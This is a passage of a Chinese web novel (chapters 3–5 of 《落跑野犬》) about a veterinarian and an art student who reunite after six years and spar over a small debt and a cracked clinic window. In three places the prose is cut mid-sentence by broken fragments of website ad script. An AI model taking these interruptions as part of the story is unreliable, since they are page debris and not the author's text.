《落跑野犬》
3. 第 3 章
晏关山在医院一宿没睡,回家洗澡换了身厚衣服,对着镜子打了一连串喷嚏。
李姐拿着药敲响卧室的门说:“我冲了点感冒冲剂,关山,你喝了预防预防,厨房有吃的,我给你抬上来吃点吧。”
“谢谢。”晏关山开了门,“我下楼吃。”
又累又困,浑身没劲,晏关山接了几个电话把其他医院的事安排好,稍微吃了几口粥再喝了药,本想上楼睡一觉。
李姐看他实在精神不济,拿起一堆狗绳道:“我去遛狗,关山你在家睡会儿吧。”
听见要出门,腿脚利索的狗子们已经跑到门口等着了,只有一只硕大的捷克狼犬没反应,从晏关山开始吃饭它就一直趴在脚边安安静静地陪着。
晏关山垂眸摸了下狗头问:“皮皮不去啊?”
皮皮抬头看了一眼晏关山,轻轻哼了声,又趴回去,狗通人性,它感觉得到主人生病了。
“李姐,绳子给我吧,我去遛。”晏关山手机揣兜里,耐心地给狗子们都拴好牵引绳,“今晚我回得晚,还得麻烦你把院子里的猫食准备一下,狗就不用遛了,回来我再遛。”
“哦哟,病了都不让人休息,人又不是铁打的。”李姐絮叨着去衣帽间拿了围脖,“把这个戴上,我给你做点吃的冰冰箱,回来饿了就热一热。”
晏关山温和一笑:“谢谢,知道了。”
目送他被狗子们扯着拖出家门,李姐心疼地叹了一口气。
一开始她找到这份家政的工作,还担心自己无法胜任,因为主家要求的服务内容很奇葩,只要每天早晚两次遛狗,清理猫砂,屋内屋外的猫饭狗饭准备好就行,不需要打扫也不用做饭,但是备注上写着,这宅子里养了四只狗,七只猫。
工程量不容小觑,李姐虽然也喜欢毛茸茸的小动物,但是这个数量她怕自己伺候不好,差点拒绝了。
后来见了主家的真容,是个年轻有为的英俊小伙子,晏关山说话温和有礼,让李姐自己考虑做不做,怕她为难,细致地介绍了家里情况。
李姐见到七只缺胳膊少腿,或瞎眼或瘫痪的田园猫,以及同样身残志坚的田园狗们,唯一没身体缺陷看着又名贵的只有那只叫皮皮的大狼犬。
听闻主家的职业是兽医,毛孩子大多是他亲手救下但没人要的,李姐恍然大悟,当即就接下了这份工作。
一做就做了四五年,眼看着晏关山家的狗增加到六只,猫已高达十二只,家里越来越“热闹”,但和这种“热闹”对比强烈的是晏关山从来两点一线的单调生活,以及家里除了李姐和负责打扫的家政,从来没有其他人来过的冷清。
多年相处下来,不管是家里的猫狗还是晏关山本人,在李姐心里都有一层家人的分量,她知道晏关山加班辛苦,总是会给他留点吃的在冰箱里,李姐总想,自己要是能有个这么成器优秀的儿子,哪里舍得让他一个人住在冰锅冷灶的房子里。
这个年纪忙工作也正常,可他不出去交朋友吗?不谈女朋友,也不回家,父母也不曾来看过他,李姐虽偶尔会有点好奇,不太好问,便只能尽力在生活上多照顾点。她叹口气,把菜肉拿出来,多做了些吃食备着。
……
边屹蹲在沙发边给闻影的手臂缠保鲜膜,缠得严丝合缝了才火烧屁股地穿衣要走:“要迟到了要迟到了,我就真不管你了哦。”
“洗澡要你管什么?赶紧走吧。”闻影 t 恤袖子卷起一边,大喇喇躺在沙发上。
“吃了饭再洗澡。”边屹还不放心,叮嘱完又问,“晚上你去学校吗?”
“去。”闻影盯着对方裤子上“玉城大学”四个字嗤笑道,“是有人拿刀架你脖子上逼你穿这种丑裤子吗?”
高中校服一个个被打扮得像个包白菜,到大学了怎么还有人热爱穿校服。
“哎呀,甭提了。”边屹嫌弃地扯扯裤头,“我们系就准备了两个节目,一个话剧一个诗朗诵,我总不能去演话剧嘛,诗朗诵就得穿这个,我也觉得丑,你们美院没出节目?”
“能出什么节目?抬个画架上去现场来段素描?”闻影笑道,“元旦晚会的所有宣传海报都我们画的,牛马的命也是命,吹拉弹唱你们上得了。”
“三哥。”边屹又蹲下,殷切地眨眼睛,“三哥。”
“叫魂啊?”闻影一看他就没憋好屁,但凡突然撒娇都是有事求人,“想叫我干嘛?直说。”
边屹软着声儿说:“没节目你人得来吧,我上台会紧张,盯着你朗诵可能会好点儿。”
闻影挑眉:“边公子这次吟哪首诗?”
“《雨巷》。”担心闻影这个艺术生文化课不过关,边屹清嗓开始朗诵,“撑着油纸伞,独自,彷徨在悠长、悠长,又寂寥的雨巷……”
闻影伸出拳头:“再念老子就给你打成结着仇怨的丁香,还不走你要迟到了。”
边屹嘻嘻哈哈躲开拳头最后问了句:“这事真不追究啊?”
“怎么追究?”闻影反问。
“混混打架和这种寻仇性质不一样,我觉得该报警的。”边屹一脸严肃,“你当年是为了给费费出头才惹了祸,就算是为了防止这些人找上费费,不也该提醒他一声吗?”
“先不说,也不报警。”闻影蹙了下眉,“那地儿没监控,抓不到人。况且不会阴一次就算了,他们到底要做什么,会再来找我的。”
边屹揪心:“还会来?!那、那这段时间要不我住过来?”
“你来干什么?我挨打的时候你在旁边哭?”闻影无语地说。
边屹嗫嚅,打架不行,打120总行吧。况且闻影从小到大打架没输过,实在插不上手站旁边喊哥哥加油,反正想陪着。
闻影失笑:“老子不缺啦啦队,行了,走吧。”
隔了会儿他低声道:“不是什么大事,少操没用的闲心,好好上你的课。”
“知道了。”边屹瓮声瓮气道,“但你有任何事给我打电话,别让我俩找不到你。”
闻影扯了扯嘴角,应了声。
出门前边屹忽然闪回身:“还有,那个晏哥,你俩到底……”
“滚!”闻影恶劣地打断,边屹终于屁滚尿流地走了。
吃了边妈留的饭,闻影舒舒服服泡了个澡,终于换了一身自己的衣服穿着,他看着脏衣篓里某人的衣服裤子,啧了一声,捡起来扔洗衣机里。
客厅茶几上有些感冒药,边屹说鼻子痒,被病毒制造机闻影传染了,提前嗑了一颗预防着,闻影看着被抠过的那板药思维飘忽,想起某个要风度不要温度守了他一夜的孔雀……
被传染活该!又不是我逼你来的。
他这么想着打开了手机,微信里很多消息,有老师有同学问他什么时候来的,有各种群在约酒约开黑,但那个棕狼头像就是没动静。
闻影翻了个白眼。
不是算账吗?舔着个脸加好友,躺尸给谁看啊?
多大的人情债算了这么久算不出来,一想到对方有可能真的在把以前的外卖房租奶茶网吧费都算进去,闻影这无名火又往头顶烧。
亿万富豪离婚分家产都特么没你墨迹。
闻影套了一件羽绒服,感觉头发扎脖子,把狼尾扎成一个小揪,发型特意留的,本来挺有艺术生的气质,但他爱臭脸,还总是挂着一身彩,没少被人当成不学无术的混混,今天吊着胳膊去画室,又拦不住导员唠叨了。
……
晏关山停好车,刚进医院小陈就迎上来,关切道:“院长,昨天那个人怎么样了?”
“没事,手折了,其他伤不重。”晏关山一边回办公室换衣服,一边看病历。
小陈拍拍胸脯:“还好没事,吓着我了,一夜没睡踏实,他怎么弄成那样啊?”
晏关山一顿,他压根儿没来得及问清楚事情原委,不过即便问了,景三儿大概率也不会说。以前没少见他鼻青脸肿的样子,就因为见惯了,他下意识都是先把人照顾好再说别的。
小陈:“是跟人打架了吗?”
“可能吧。”晏关山也不确定。
“好可惜啊。”小陈叹气,“附近那几个学校的人就是爱打架,他可能是学生吧。”
晏关山翻完了几个病历说:“看来是真吓着了,对他那么好奇。”
小陈嘿嘿一笑:“长挺帅的,不想看见帅哥挨打。”
晏关山无语地摇了下头。
小陈看了下晏关山的脸色,问道:“院长你精神不大好,难道在医院陪了一夜啊?”
“嗯。”晏关山想起什么,扭抬头说,“小陈,去外头给我找块砖来。”
小陈以为有什么特殊用途,没多问就出去了,回来提了一块相当完整的大砖头,递给晏关山:“院长,我找了块最干净没缺角的。”
“谢谢。”晏关山接过砖头,在对方好奇的目光里走回医院大厅,扫视一圈正好没病患家属在,他拎起砖头朝着玻璃上就砸了一下。
“绑——”
正好砸在玻璃墙画着的树干上,稍稍用了点力,中心出现了一个蜘蛛网样的裂纹,晏关山歪头品了一会儿,满意!
景三儿是晕倒在门口,并没有撞坏医院一砖一瓦一玻璃。
但是谎已经撒出去了,不这样圆,就没法要赔偿,不要赔偿就加不到微信好友。晏关山太清楚什么样的借口才能让景三儿没办法一秒拉黑。
小陈缩着肩膀目睹这一幕,倒吸了一口凉气,动静可不小,身后好几间门诊室打开了门,医生们探头探脑:“噗嘶噗嘶,小陈,出什么事啦?”
“又有人打架啊?”
“没事没事,倒了个东西。”小陈把他们打发完,一言难尽地走到晏关山旁边,看了看玻璃墙,又看了看他手上的砖,然后盯着晏关山弯起的嘴角问:“院长,你……没事吧?”
“嗯?”晏关山回神,若无其事地说,“没事,先不用叫人来修,我打的不重,钢化玻璃一时半会儿碎不了。”
小
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
陈满脸担心。
不是担心玻璃,担心她家院长的脑子。
晏关山拎着砖头往回走:“老王给我打电话说下午玉大又送了六只猫过来,忙不过来吧?”
“嗯,刚做完检查,手术得一只一只排,现在就王医生有空。”小陈道。
“之前送来的那只小橘猫瘟已经治好了,今天把绝育也一起做了吧。”晏关山安排道,“让助理把其他猫都带去麻醉科,叫老王来手术室,我和他一起做。”
绝育手术很简单,送来的都是流浪公猫,有院长亲自操刀,小二十分钟一只,七对蛋蛋嘎完恰好两小时过去,天早就黑了。宠物医院就这样,疑难杂症不是天天都能见到,但小毛病的动物很多,医生和医助人手不够,常常忙到夜里去。晏关山并不鼓励加班,忙起来他都陪着,忙完再点点儿好的和大家一起吃。
晏关山实在是有些累了,感冒的劲儿又上来,眼皮子不住打架,好在没发烧。怕传染给别人,他夹了些菜捧着饭碗去住院室独自吃饭。吃也吃不进去几口,索性拿手机出来翻翻。
景三儿的朋友圈他已经看了好几次了,这人发朋友圈都带着一股酷劲儿,基本只有图没有字,在一堆看不懂的抽象画里偶尔夹的几张风景照和猫狗照,唯一能从这里窥见到他生活的碎片,但也很有限。
晏关山特别想知道他这些年过得怎么样,朋友多还是少,还是不是总打架,如今在哪里工作,有没有新的伴侣了。
但可惜朋友圈不能给他答案。
晏关山慢慢滑动看了N遍的照片,视线在猫狗照上一扫而过,他忽然顿住,抬头瞥了一眼右手边的保温箱,里面躺着他刚嘎完蛋的那只小橘,此时还在呼呼大睡,头冲着外面,露着粉嫩的鼻头和嘴巴,这小橘橘得不彻底,脸大部分是白色,那点橘全在胡子周围。
晏关山一愣,眼熟。
他把手机里的照片点开放大,照片里小橘眯着眼睛半个身子在阳光下,一只不怀好意的手轻轻揪着它一根胡子,小橘一点不恼,眼睛嘴角都弯着,像是在笑。
这不就是同一只吗?!
晏关山突然想起,边屹的裤子上印着“玉城大学”,而这只流浪猫就是玉大学生逮了送过来救治的,小橘刚来时得了猫瘟,差点命没了。
他突然有了个联想。
手机在这个时候震了一下,收到一条微信。
[景三]:?
……
宠物医院门口,闻影搁这儿看了半天了,他明明是要回学校去的,谁知道这宠物医院开在去学校的必经之路……的反方向上,他只是顿了顿,回过神已经鬼使神差地站在人家门口了。
本来想调头就走,闻影转念一想,某只孔雀的破衣服还在洗衣机里烘着,洗完了不得送回来吗?难道还他妈要人亲自给送来?做梦!
他不想见面,所以只能邮寄,所以他现在是来看邮寄地址的!
合理。
但是他的注意力没在门牌上,他一眼就看见了玻璃墙上突兀的裂缝。
和画着的那棵树。
闻影喉头滚了滚,心头浮出很多难以言明的情绪。
因为情绪挥之不去,他索性找了个不显眼的地方坐着,偷看里面的情形,这会儿几个医助坐在大堂吃外卖,有说有笑,就是没晏关山的身影,闻影以为他没来上班,结果隔了会儿见他戴着口罩从更里面的诊室出来,手上还端着饭碗。
闻影眯眼。
人缘这么差?同事吃饭都不喊你。
同事在跟晏关山说什么,闻影听不见,只看到晏关山摇了摇头,把饭碗一放,去饮水机接水,然后掏兜吃药,晏关山摸了摸额头,完事儿又戴上口罩端起饭碗回诊室了。
闻影偷看了个够。
所以才猫着腰坐在马路边,发了个问号过去。
没想到对方秒回。
[Y]:[胜利]
闻影:“?”
这人得瑟什么?
[景三]:算帐。
[Y]:[委屈]
[景三]:别几把发表情包,多少钱赶紧说。
[Y]:[可怜]
闻影觉得他脑子是真的有点问题。
[景三]:不说拉黑了,衣服我明天寄来你单位,你算好账告诉跑腿的。
[Y]:别,微信拉黑了以后怎么跟你联系?
[景三]:漂流瓶联系!
闻影发完这条对方居然就不回了,他瞪着上面一连串黄色小人的脸,磨着后槽牙,打算说到做到,点开晏关山的好友界面,正要按下那个发红的删除键,他肩膀被人碰了一下。
“蹲在这里不冷吗?”
是晏关山的声音。
闻影吓得手抖了下,一抬头,先是看见他手里的板砖,视线上移,对方口罩上面弯着一对笑眼,垂落在闻影的手机界面上。
“别删我吧。”晏关山声音有些哑,隔着口罩,闷闷的有一丝缥缈,“我错了。”
4.第 4 章
闻影愣了下:“你说什么?”
晏关山在他身边蹲下,微微低着头,手里拿着板砖一下一下戳着地:“我错了。”
闻影条件反射:“错哪儿了!”
晏关山反倒被问得一顿,想了想说:“跟你要好好说话,打字说,不能用表情包敷衍。”
闻影看他就像见了鬼。
示弱服软张口就来,这不是晏关山会做的事。
以前惹自己不痛快,晏关山都没说过一次“我错了”,他能低气压一整天,然后在闻影耐心耗尽吼他“你他妈张嘴说话”时,冷静复盘自己的行为逻辑,再理智地提出改进方向,说到最后已经不是对错的问题,在晏关山那是方式的问题,闻影不跟他计较这些,他发火百分之九十九的原因是晏关山总闭嘴不出气,所以晏关山只要肯开口说话,说什么闻影那点脾气就会轻而易举地化解。
前提是闻影还在乎,只有一次他头也不回地走了,没给对方留下任何低气压的机会,当然,闻影也不觉得即便当时留下,晏关山会对他有好言好语。
闻影收回思绪,发现晏关山纯纯在这扯犊子,差点被丫带沟里。
既然被当场逮捕,闻影垮下脸来一招先声夺人:“你怎么在这!”
晏关山挑眉,往后看了一眼:“我在这里上班啊。”
闻影噎了下。
晏关山好笑道:“那你呢?”
闻影尴尬胡扯:“我下班路过!”
晏关山看了眼他的手,意味深长地问:“搬砖要搬这么晚?工地施工时间不都有限制吗?况且你手不方便,还生着病,工头也不放你假?”
闻影的嚣张气焰矮三分。
既假名字“景三儿”之后,他在晏关山那里还有一桩黑历史,连职业都是闻影逗他玩,瞎编的。
为了考美院,闻影当年每天都要高强度练素描,炭笔搞得手上脸上都是黑乎乎的,而且不画画时就在打架,他文化课还行,老师也不要求他天天搁教室里坐着,以至于晏关山认真问他总把自己搞得浑身脏兮兮是不是忙着工地搬砖,他随口就说是了。
跟名字一样,没来得及纠正。
那时比起纠正这些,闻影更在意别的。
“少管别人闲事!”闻影蛮不讲理,起身就要走。
“账算出来了。”晏关山赶紧留他,“昨天医药费我垫付了一千二。”
闻影脚步一顿,低着头戳手机。
晏关山手机震了下,他拿出来看。
[景三向你转账2000元,请查收。]
晏关山:“多了。”
“算上早餐,洗衣费,买内……衣服的钱。”闻影冷淡道,“我不喜欢欠别人人情,多的就当护工费,还有药钱。”
晏关山莫名道:“什么药钱?”
两个大男人当街算账已经够丢人,晏关山感冒虽属活该,闻影看见了也不能当不知道,但他懒得解释,抬脚就走。
晏关山跟上他:“玻璃钱还不知道,之后我再联系你?”
“你好他妈烦啊,别跟着我!”闻影裹紧衣服,溜也似的消失在巷子里。
晏关山没追上去,看方向,应该是去玉大没错。刚才发现同款小橘,景三儿那句“寄来你单位”让他一瞬间来了精神,他强行压下自己想见到对方的那点心思,合理解释正常人的逻辑应该说“寄去”而不是“寄来”,“来”字说明他在这里。
当他浑浑噩噩地出来碰运气,还真就看见了蹲在路边的景三儿。
他没立刻走上前,怀念了片刻,从前这个人就是这样深更半夜蹲在路边等自己下班的,没有过一次抱怨。
……
回到医院,小陈盯着拿着砖出去又拿着回来的晏关山,奇怪道:“院长,你不是去扔砖头嘛,怎么又拿回来了?要不给我吧,风大的时候可以拿来压压易拉宝。”
“小陈。”晏关山就没听见她说什么,“今天开始我来值夜班,一会儿排好班次我发你一份。”
小陈奇怪道:“其他店院长不去了?”
晏关山的宠物医院不止这家,连锁的,市里其他区还好几个,他日常需要巡店,哪家碰到疑难杂症就得安排会诊,大手术基本都是他亲自操刀。
晏关山:“有重要手术安排在白天就行,晚上暂时不去了。”
小陈:“对了院长,我联系的安防公司说明天上午来装监控。”
“好,那巷子是盲区,你盯着点,让他们多装几个,杜绝死角。”晏关山想起什么道,“还有,从今天起跟他们都说,别喊我院长。”
小陈:“啊?那、那叫什么呢。”
晏关山:“小晏。”
“……我哪敢啊。”小陈面露难色,“他们也不敢。”
晏关山笑了下:“就这么叫,实在叫不出口,加个哥也行,但别让人知道我是院长,明白了吗?”
……
闻影这些年的生物钟都很阴间,别人上课他睡觉,别人下课他起床,别人蹦迪喝酒打游戏的时候,他能在闹鬼的画室里画到凌晨四五点。
从高中开始不规律,大学考上了玉大的美院,他更是变本加厉,好在周围的学生都是干这个的,各有各的千奇百怪的癖好,导员也理解,非但没刻意纠正他,还给了闻影画室的钥匙,让他随时几点来都行。
毕竟闻影是老天喂饭型选手,他天生色感极好,基本功扎实,想法又多,画出来的画天马行空,潇洒恣意,再普通的主题,他都能画出自己的风格和表达,大一开学没多久导员就夸他,画布在闻影手上就是一个做梦的大脑。
这两天手不方便,要画的东西进度拖慢了,闻影比平时来得早,正好能赶上和下课的边屹一起吃晚饭。雪早停了,白天稍微出了些太阳,温度回暖,从食堂回美院要穿过花园,闻影独自闷着头往前走,突然身边一阵骚动,他被一个女生堵在了小道上。
闻影只好停下。
女生穿得毛茸茸的,红着脸其实蛮可爱,她双手捏着手机,紧张得一直往闻影身后瞥。
“加油加油!快问他!”
“当场逮捕,好姐妹,你可以!”
“拿下!”
闻影:“……”
“同学,请、请问可以跟你加个微信吗?”毛茸茸深吸一口气,鼓足勇气道,“我想认识你,我是中文系的阮——”
“不加微信。”闻影低了下头打断她。
“做个朋友呗,都是同学。”毛茸茸早听说过闻影是个硬钉子,继续道,“我蹲你好久了,看在这么有诚意的份儿上,加个吧,不然我好丢脸,哈哈。”
闻影叹了口气依旧低着头。
“是不是我这直球吓着你了?”毛茸茸爽朗地笑了声,关心道,“你手咋了?昨天还好好的呢。”
闻影这才抬起头来看她,现在的姑娘都很勇敢,敢做敢当,爱恨分明,闻影不觉得这是坏事,也不讨厌这种行为,但发生得多了,闻影也会觉得困扰。
从高中开始就总有人来表白,男的女的都有,拒绝了还是源源不断怼上来,闻影没心思恋爱,一点这方面想法都没有,但这姑娘不扭捏的性格让人挺有好感的,大冬天也不知道来这儿蹲他几次了,闻影干不出那下人面子的事儿,但把话说清楚不吊着人,才对得起对方这份坦诚。
闻影抬眼道:“加不了跟你没关系,是我的问题。”
“啊?”毛茸茸没听明白。
“我喜欢男的,不好意思。”闻影错开身时低声说。
毛茸茸愣在原地,她做了很久的思想准备才打算表白的,到处找人打听,才知道这是美院油画系大四的学长,帅名远播,但其他信息很少,因为其昼伏夜出,又甚少跟人打交道,毛茸茸在这条路上蹲了好久,才好不容易将人逮住。
没想到出师不利。
虽然他是gay的传闻也有,但大都是从表白遭拒的女生那传出来的,毛茸茸不信这个邪,现下是真有点……怎么说,更加上头。拉拉扯扯拖泥带水的表白故事见多了,这样坦诚果断的反而很刷好感。
小姐妹们一拥而上打算安慰,毛茸茸一点都不难过,拉着姐妹们跟上去。
这小花园情侣特别多,埋伏在这蹲他表白的也好几回了,闻影生怕一会儿又蹦出来个,低着头快步往前走,走着走着小橘出现在他的脚下,差点踩到,他跳起来扯着疼处还趔趄了几步。
今日份的小橘与众不同,后半身子套了个尿不湿,跟小孩儿似的,闻影觉得有点可爱,蹲下伸手摸了摸它。
“几天不见越来越出息了啊臭小子,尿不湿都穿上了。”闻影一边揉一边笑,“不是让你去找老徐凑合凑合,房子都给你买了,怎么这么不识相啊。”
老徐是美院大楼看门的保安,经常半夜投喂流浪猫,人送外号美院猫王,闻影总是深夜出入一
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
来二去跟老徐也熟了,冬天来的时候闻影买了几个猫窝放在保安室,让老徐管管这些崽子别给冻死。
小橘屁股上裹着东西显然不舒服,在闻影鞋子上蹭了半天,露出肚皮要摸摸,闻影不知道它为啥兜个尿不湿,轻轻掀起一点想看看——
“刚换好的,别拆开。”一道熟悉的嗓音近在咫尺,“小橘才做了绝育手术,怕伤口感染,这东西得戴几天。”
闻影黑着脸抬头,眼神不善。
晏关山穿着短款羽绒服,黑色套头衫,松垮的牛仔裤还是能显出一条大长腿,整个人看上去青春逼人,说是大一新生也有人信,完全看不出这人都25了。
哪哪都能遇到,简直阴魂不散。
晏关山弯腰一把捞起小橘,转身递给站在一旁的姑娘,姑娘接过小橘小心翼翼地放进猫包里,笑得很甜。
是个漂亮姑娘,站在晏关山旁边,俊男美女的,有说有笑,两个人传递小橘的情形就像父母围着新生儿在彼此感动。
闻影觉得自己杵在这像个傻逼,转身走了。美院门口的台阶很长,才上了一半,晏关山就追了过来,他微微喘着,拍了一下闻影的肩,堵在人的面前:“生气了吗?”
闻影顿住脚步,仰头看了会儿天,是真的无奈。
“那个学妹把流浪猫送来医院做绝育,今天说想照顾小橘几天增进感情,我就给她送过来了。”晏关山自顾自解释,“说了几句注意事项,没聊别的。”
学妹?你几岁了还叫人学妹!
闻影扬着下巴用鼻孔看人:“一、我跟你屁关系没有,有什么好生气的;二、撩妹还是送猫是你的自由,犯不着解释,我也没兴趣听;三、能不能别跟着我,你很闲吗?”
晏关山顿了顿精准挑出重点:“我没有撩妹。”
“……好的。”闻影无语,“那你说完了吗,请问我可以走了吗?”
晏关山看了眼他的脸,养了这么几天,小擦伤好得差不多了,这人穿得暖暖和和的,可能是感冒怕冷,戴着围脖和手套,连吊着的那只都没落下。
不像是从工地下工的样子。
晏关山问:“你怎么会在玉大?”
“我爱在哪儿在哪儿。”闻影单手插兜,站没站相地说。
晏关山:“今天下工这么早,来玉大找朋友吗?”
闻影卡了下壳,想到美术学院四个大字就顶在头上,脱口道:“兼职你也要管?”
“兼职?”晏关山好奇,“做什么的?”
闻影漫不经心道:“男模。”
晏关山:“……”
旁边路过的学生听见了对话,看着闻影就捂嘴笑,闻影瞪了对方几眼,威胁他们闭上嘴。
晏关山:“什么性质的男模?”
“你觉得呢?”闻影故意道,“当然是要脱衣服的那种性质。”
晏关山一言难尽地问:“你这么缺钱吗?”
“本来不缺,这不是多了个天天追债的跟踪狂吗?”闻影瞥他一眼继续上楼梯,嘴边骂骂咧咧,“老子就想不明白了,一块破玻璃算账算他妈四五天都算不明白,拉拉扯扯的烦不烦!”
“我也缺钱。”晏关山厚着脸皮跟在他身后,“男模这工作要怎么做,还缺不缺人,你能帮忙推荐一下吗?”
前面的人脚步一顿,停下叹了口气:“……晏关山。”
晏关山也跟着站定:“到。”
闻影转回身好好地看着对方道:“当男模,要脱光给人看的,你肯?你穿着衣服被人碰一下都要打人,这么高贵怎么当男模,啊?”
话里有话,只有彼此知道这些揶揄背后的事故。晏关山怕他提,也怕他不提。不提说明事儿放下了,不在乎了,晏关山一想到这个就会觉得心里拔凉,提吧,面对景三儿的暴风骤雨晏关山是有点没辙的。
以前就没辙,不知道怎么哄,想道歉怕对方不给机会。
就跟现在一样,几句话就呛回来,可晏关山毕竟跟六年前不一样了,他不怕丢面儿,也不怕尴尬,只要景三儿这个大活人站在面前,丢啥都比丢了这人强。
“我可以的。”晏关山倏然抬手,用手背碰了下闻影的脸,冰得闻影脑子都懵了一下,手背一触即分,但冰凉的触感像烙在了脸上,冰水瞬时蒸发于滚烫的热铁表面,滋啦一声,响在闻影心里。
晏关山笑着对他说:“你看,已经脱敏了。”
5.第 5 章
闻影很后悔,刚才触碰的一刹那他居然在发呆,而不是狠狠打开对方的手。
错失一个以牙还牙的机会。
他懒得细究晏关山没脸没皮往上凑有什么企图,但每一次迫不得已的相处,都会让闻影不断想起往事,往事不堪回首,他不喜欢这样。
闻影倒退好几步,凶狠道:“再动手动脚,小心挨揍!”
渐渐染红的耳根让这份凶狠少了大半威胁,晏关山极力忍着笑,内心挺想挨这份打。
“对不起,不逗你了。”晏关山弯着眉眼道,“你的衣服我拿回来了,放在医院里,你今天有空过来一趟吗?或者寄也行,你住在哪儿?”
闻影本来想说寄,晏关山的衣服也在家,为了还衣服来来回回见的也没什么意思,但他现在是个日常住工地夜里兼职男模的人设,地址给出去就暴露了。
闻影:“先放你那,得空再拿。”
“那我等你。”晏关山期待地说。
“别跟来!”闻影边倒退边指他,“老子要上班了,快滚。”
再跟上去估计真能把对方惹毛,晏关山听话地停在原地,看着这人的身影火速消失在电梯口,才转身离开。一旁几个小姑娘跟晏关山保持着同样的动作,只是看不到闻影后,她们又偷偷瞄着晏关山,欲言又止。
晏关山顿了下:“有事?”
毛茸茸被朋友们往前一推,慌乱中问了句废话:“学长你好,想问问你跟刚才的男生认识吗?”
晏关山:“嗯。”
“那……能不能打听一下。”毛茸茸还没放弃,“闻影有没有女朋友?”
晏关山挑眉:“……闻影?”
毛茸茸:“女朋友或者男朋友,他有吗?”
有没有晏关山真不知道,不过这个名字,挺值得他琢磨的,就新鲜,一个认识了那么久的人,第一次听见真名,居然是从其他追求者嘴里。晏关山自己都觉得有点好笑。
毛茸茸自顾自说:“我想追他,我喜欢他很久了,冒冒失失问你这些,你别介意。”
晏关山:“你怎么不去问……闻影本人?”
“问了的,他说他是……反正微信也没要到。”毛茸茸抿抿唇,没把话说完。
晏关山故意用肯定的语气道:“他是美院的。”
“美院院草!”毛茸茸立马接话,跟帅哥说话得主动自信。
看来“下工”也值得琢磨,晏关山轻笑了一声。
工地搬砖?兼职男模?景三儿?
有那么一瞬间,晏关山觉得自己遭遇了杀猪盘。
毛茸茸继续道:“刚看见你们说了好半天话,关系挺好的样子,所以才来打扰你,如果他——”
“他有主了。”晏关山打断姑娘的话,淡淡道,“不用在他身上浪费时间。”
……
闻影捏着炭笔在画室练了一个多小时的素描,他今天本来是要把没画完的完成,但是晏关山那个狗贼竟然突然出现还摸他的脸,加上意味不明的话,直接影响了闻影的情绪,以至于脑子里半点思路没有,他索性练练基本功。
基础练习不费脑子,闻影放任思绪呼啸到八十里开外。
晏关山是不是在跟踪老子?
晏关山真的缺钱到宁愿当男模?
晏关山说他脱敏什么意思?
晏关山跟妹子聊了多久……
晏关山晏关山晏关山……
“真就草了。”闻影回过神,素描纸上线条零乱交错,他打出来的型是个男人,虽然只有轮廓,画的人自己知道它姓晏。
闻影“嘎达”撇断了炭笔:“烦死你了!”
“烦谁?”身后的人突然出声,他拍了一下闻影的肩膀,“休息会儿,我看你画了半个小时了,情绪不对就停一下。”
闻影扭过头:“你什么时候来的?”
“悄默声就来了,不想给你发现。”苏淳笑着问,“说说吧,谁惹你烦了?”
苏淳是闻影的导员,毕业留校的高材生,从闻影大一进校就很关照他,加上年纪差不了几岁,交流无代沟,平时和闻影他们就像哥们儿似的处。要不是有苏淳跟老师和教务各种协调,就闻影这作息和缺课率恐怕很难毕业。
闻影瞥了眼画纸,怕对方看出什么,干巴巴答:“丢勒。”
苏淳失笑:“大师怎么就给你惹急眼了?是这个男人画得不顺利?”
这个男人……
“不画了。”闻影摆烂地一掷,把断了的笔稳稳扔进垃圾桶,“这个点儿你怎么还在教学楼?”
“过来看看你。”苏淳瞥了一眼闻影的胳膊。
闻影有点不自在:“有什么好看的,摔个跤而已,死不了。”
“真摔的?你跟我还扯谎啊。”苏淳抬手伸过去,就在要碰到闻影的时候被他突然一躲,苏淳尴尬了片刻,淡淡道,“这还青了一块,被那些小学妹看到又要心疼半天,怎么回事,跟人打架了?”
闻影却在想,我这不是挺敏捷的吗,怎么晏关山的手就躲不开!
不过苏淳不是第一次有亲密举动,闻影有心提防着。
他并不介意与人触碰,身边亲近的朋友,比如边屹就喜欢跟个姑娘似的挽着他胳膊,费彦则大大咧咧勾肩搭背,闻影明白每种触碰背后的含义,朋友兄弟男妈妈可以,别的不行。
所以苏淳上次自说自话将他搂住后,闻影反应极大,那种胳膊被人轻轻围拢捏着的亲密让他很不舒服,于是他很快将人推开了,苏淳当时有些错愕,虽道了歉,但说把闻影当自家表弟亲近让人觉得是个劣质的借口。
自那之后闻影就下意识地疏远苏淳。
见闻影没有理他的意思,苏淳掏出手机说:“奶茶快到了,一会儿喝点热的再画。”
“我走了。”闻影站起来,扯了扯嘴角,“奶茶你自己喝吧。”
“这么早就走?”苏淳讪讪道,“平时不都画到十二点多呢,我还说陪你待会儿。”
“今天状态不好,不想画了。”闻影一刻不多待,往门外边走边说,“况且我画画不喜欢旁边有人,你这么盯着我画得出个锤子,走了啊。”
苏淳打乱了闻影的计划,这么早出来,回家也无事可做,在犹豫了一秒要不要去看边屹排练诗朗诵后,闻影果断否决,还是回了趟家。
十分钟后从家里出来,手上多了一袋洗好的衣裤。
闻影租的房子就在学校旁边,去宠物医院走路二十分钟,这一路上他都在反思。
六年前留下的心理阴影太大,对方骤然出现,又做出些奇怪举动说奇怪的话,以至于脑海里晏关山总是挥之不去。
绝对不是旧情难忘。
跟旧情没有
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
关系,硬要算,恐怕是还在记仇,带了点委屈。
所以早点把两个人之间这点微乎其微的牵扯了结了,断了联系,闻影才会好受。
到了医院,闻影没急着进去,好整以暇地欣赏那棵“树”。
以及树干上的裂纹。
闻影也曾悄悄在宠物医院的玻璃上画下一棵树,是当做告别,送给晏关山。
面前这棵难免让他忆往昔。
每次在他最特么狼狈的时候,都能遇到晏关山。
也不知道到底是自己倒霉,还是对方太瘟。
六年前的一天晚上,闻影被人摁着打,对方揪着自己的头发往玻璃上砸,砸出一声闷响后撒腿就跑。玻璃裂了,闻影的头也破了,然后就这么满头是血的遇到了从医院里走出来的晏关山。
那时候凌晨四点,街面上连个鬼都没有,晏关山穿着睡衣,披着白大褂,头发乱翘睡眼惺忪地从里头走出来,看清门口的人后,他本来要把120110全都打一遍。
“别管闲事。”闻影叫住他,恶劣地说,“不想惹麻烦就快点滚。”
